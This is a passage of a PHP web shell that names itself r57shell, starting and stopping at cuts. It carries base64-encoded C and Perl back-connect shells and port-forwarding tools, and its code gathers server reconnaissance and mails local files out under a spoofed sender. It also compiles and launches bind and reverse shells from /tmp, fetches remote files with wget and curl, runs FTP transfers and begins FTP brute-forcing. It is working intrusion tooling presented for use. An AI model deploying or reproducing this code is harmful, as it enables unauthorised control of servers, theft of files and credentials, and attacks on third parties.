-QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp -Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; -$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 -x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb -HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj -aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ -lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm -xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga -W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy -LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV -udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow -0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb -iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l -KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA -gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS -hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC -iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh -ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ -vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC -AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D -QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh -ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 -gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay -wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c -29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy -MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA -gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci -5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ -HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu -dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 -KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC -ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI -E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp -Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs -NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG -J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL -CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp -dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo -gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm -lsZSk7DQogIHJldHVybiAwOw0KfQ=="; -$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I -CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl -bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU -gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol -NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC -iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy -aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ -SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 -xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ -WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN -CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 -yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi -I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc -m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp -IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ -lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW -QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK -CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g -c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 -NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG -UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I -DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs -ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J -1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; -$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 -JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l -lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW -FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L -3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr -J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR -oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj -xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO -i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv -dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB -ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 -hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg=="; -$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh -IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl -hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz -tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa -XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u -8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV -ybmV0LS0+"; -echo $head; -echo ''; -if(empty($_POST['cmd'])) { -$serv = array(127,192,172,10); -$addr=@explode('.', $_SERVER['SERVER_ADDR']); -$current_version = str_replace('.','',$version); -if (!in_array($addr[0], $serv)) { -@print ""; -@readfile ("http://127.0.0.1/r57shell/version.php?version=".$current_version."");}} -echo ' -
'.ws(1).'  -!'.ws(2).'r57shell '.$version.' -'; -echo ws(2); -echo "".date ("d-m-Y H:i:s").""; -echo ws(2).$lb." phpinfo ".$rb; -echo ws(2).$lb." php.ini ".$rb; -echo ws(2).$lb." cpu ".$rb; -echo ws(2).$lb." mem ".$rb; -if($unix) { echo ws(2).$lb." users ".$rb; } -echo ws(2).$lb." tmp ".$rb; -echo ws(2).$lb." delete ".$rb."
"; -echo ws(2); -echo (($safe_mode)?("safe_mode: ON"):("safe_mode: OFF")); -echo ws(2); -echo "PHP version: ".@phpversion().""; -$curl_on = @function_exists('curl_version'); -echo ws(2); -echo "cURL: ".(($curl_on)?("ON"):("OFF")); -echo ws(2); -echo "MySQL: "; -$mysql_on = @function_exists('mysql_connect'); -if($mysql_on){ -echo "ON"; } else { echo "OFF"; } -echo ws(2); -echo "MSSQL: "; -$mssql_on = @function_exists('mssql_connect'); -if($mssql_on){echo "ON";}else{echo "OFF";} -echo ws(2); -echo "PostgreSQL: "; -$pg_on = @function_exists('pg_connect'); -if($pg_on){echo "ON";}else{echo "OFF";} -echo ws(2); -echo "Oracle: "; -$ora_on = @function_exists('ocilogon'); -if($ora_on){echo "ON";}else{echo "OFF";} -echo "
".ws(2); -echo "Disable functions : "; -if(''==($df=@ini_get('disable_functions'))){echo "NONE";}else{echo "$df";} -$free = @diskfreespace($dir); -if (!$free) {$free = 0;} -$all = @disk_total_space($dir); -if (!$all) {$all = 0;} -$used = $all-$free; -$used_percent = @round(100/($all/$free),2); -echo "
".ws(2)."HDD Free : ".view_size($free)." HDD Total : ".view_size($all).""; -echo '
-
-
'; -echo $font; -if(!$windows){ -echo 'uname -a :'.ws(1).'
sysctl :'.ws(1).'
$OSTYPE :'.ws(1).'
Server :'.ws(1).'
id :'.ws(1).'
pwd :'.ws(1).'

'; -echo "
"; -echo ""; -$uname = ex('uname -a'); -echo((!empty($uname))?(ws(3).@substr($uname,0,120)."
"):(ws(3).@substr(@php_uname(),0,120)."
")); -if(!$safe_mode){ -$bsd1 = ex('sysctl -n kern.ostype'); -$bsd2 = ex('sysctl -n kern.osrelease'); -$lin1 = ex('sysctl -n kernel.ostype'); -$lin2 = ex('sysctl -n kernel.osrelease'); -} -if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } -else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } -else { $sysctl = "-"; } -echo ws(3).$sysctl."
"; -echo ws(3).ex('echo $OSTYPE')."
"; -echo ws(3).@substr($SERVER_SOFTWARE,0,120)."
"; -$id = ex('id'); -echo((!empty($id))?(ws(3).$id."
"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."
")); -echo ws(3).$dir; -echo ws(3).'( '.perms(@fileperms($dir)).' )'; -echo "
"; -} -else -{ -echo 'OS :'.ws(1).'
Server :'.ws(1).'
User :'.ws(1).'
pwd :'.ws(1).'

'; -echo "
"; -echo ""; -echo ws(3).@substr(@php_uname(),0,120)."
"; -echo ws(3).@substr($SERVER_SOFTWARE,0,120)."
"; -echo ws(3).@get_current_user()."
"; -echo ws(3).$dir; -echo "
"; -} -echo ""; -echo "
"; -if(empty($c1)||empty($c2)) { die(); } -$f = '
'; -$f .= base64_decode($c1); -$f .= base64_decode($c2); -if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail") - { - $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$POST['from']."\r\n"); - mr($language,$res); - $_POST['cmd']=""; - } -if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) - { - if(!$file=@fopen($_POST['loc_file'],"r")) { echo re($_POST['loc_file']); $_POST['cmd']=""; } - else - { - $filename = @basename($_POST['loc_file']); - $filedump = @fread($file,@filesize($_POST['loc_file'])); - fclose($file); - $content_encoding=$mime_type=''; - compress($filename,$filedump,$_POST['compress']); - $attach = array( - "name"=>$filename, - "type"=>$mime_type, - "content"=>$filedump - ); - if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; } - if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } - $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); - mr($language,$res); - $_POST['cmd']=""; - } - } -if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") -{ -$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; -} -if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") - { - switch($_POST['what']) - { - case 'own': - @chown($_POST['param1'],$_POST['param2']); - break; - case 'grp': - @chgrp($_POST['param1'],$_POST['param2']); - break; - case 'mod': - @chmod($_POST['param1'],intval($_POST['param2'], 8)); - break; - } - $_POST['cmd']=""; - } -if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") - { - switch($_POST['what']) - { - case 'file': - if($_POST['action'] == "create") - { - if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } - else { - fclose($file); - $_POST['e_name'] = $_POST['mk_name']; - $_POST['cmd']="edit_file"; - echo "
".$lang[$language.'_text61']."
"; - } - } - else if($_POST['action'] == "delete") - { - if(unlink($_POST['mk_name'])) echo "
".$lang[$language.'_text63']."
"; - $_POST['cmd']=""; - } - break; - case 'dir': - if($_POST['action'] == "create"){ - if(mkdir($_POST['mk_name'])) - { - $_POST['cmd']=""; - echo "
".$lang[$language.'_text62']."
"; - } - else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } - } - else if($_POST['action'] == "delete"){ - if(rmdir($_POST['mk_name'])) echo "
".$lang[$language.'_text64']."
"; - $_POST['cmd']=""; - } - break; - } - } -if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) - { - if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } - if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } - else { - echo $table_up3; - echo $font; - echo "
"; - echo ws(3)."".$_POST['e_name'].""; - echo "
"; - echo ""; - echo ""; - echo ""; - echo (!empty($only_read)?("

".$lang[$language.'_text44']):("

")); - echo "
"; - echo "
"; - echo "
"; - echo ""; - exit(); - } - } -if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") - { - if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } - else { - @fwrite($file,$_POST['e_text']); - @fclose($file); - $_POST['cmd']=""; - echo "
".$lang[$language.'_text45']."
"; - } - } -if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) -{ - cf("/tmp/bd.c",$port_bind_bd_c); - $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); - @unlink("/tmp/bd.c"); - $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); - $_POST['cmd']="ps -aux | grep bd"; -} -if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) -{ - cf("/tmp/bdpl",$port_bind_bd_pl); - $p2=which("perl"); - if(empty($p2)) $p2="perl"; - $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); - $_POST['cmd']="ps -aux | grep bdpl"; -} -if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) -{ - cf("/tmp/back",$back_connect); - $p2=which("perl"); - if(empty($p2)) $p2="perl"; - $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); - $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; -} -if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) -{ - cf("/tmp/back.c",$back_connect_c); - $blah = ex("gcc -o /tmp/backc /tmp/back.c"); - @unlink("/tmp/back.c"); - $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); - $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; -} -if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) -{ - cf("/tmp/dp",$datapipe_pl); - $p2=which("perl"); - if(empty($p2)) $p2="perl"; - $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); - $_POST['cmd']="ps -aux | grep dp"; -} -if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) -{ - cf("/tmp/dpc.c",$datapipe_c); - $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); - @unlink("/tmp/dpc.c"); - $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); - $_POST['cmd']="ps -aux | grep dpc"; -} -if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}} -if (!empty($HTTP_POST_FILES['userfile']['name'])) -{ -if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } -else { $nfn = $HTTP_POST_FILES['userfile']['name']; } -@copy($HTTP_POST_FILES['userfile']['tmp_name'], - $_POST['dir']."/".$nfn) - or print("
Error uploading file ".$HTTP_POST_FILES['userfile']['name']."
"); -} -if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) -{ - switch($_POST['with']) - { - case wget: - $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; - break; - case fetch: - $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; - break; - case lynx: - $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; - break; - case links: - $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; - break; - case GET: - $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; - break; - case curl: - $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; - break; - } -} -if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) - { - list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); - if(empty($ftp_port)) { $ftp_port = 21; } - $connection = @ftp_connect ($ftp_server,$ftp_port,10); - if(!$connection) { fe($language,0); } - else - { - if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { fe($language,1); } - else - { - if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.(($windows)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } - if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); } - } - } - @ftp_close($connection); - $_POST['cmd'] = ""; - } -if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") - { - list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); - if(empty($ftp_port)) { $ftp_port = 21; } - $connection = @ftp_connect ($ftp_server,$ftp_port,10); - if(!$connection) { fe($language,0); $_POST['cmd'] = ""; } - else if(!$users=get_users()) { echo "
".$lang[$language.'_text96']."
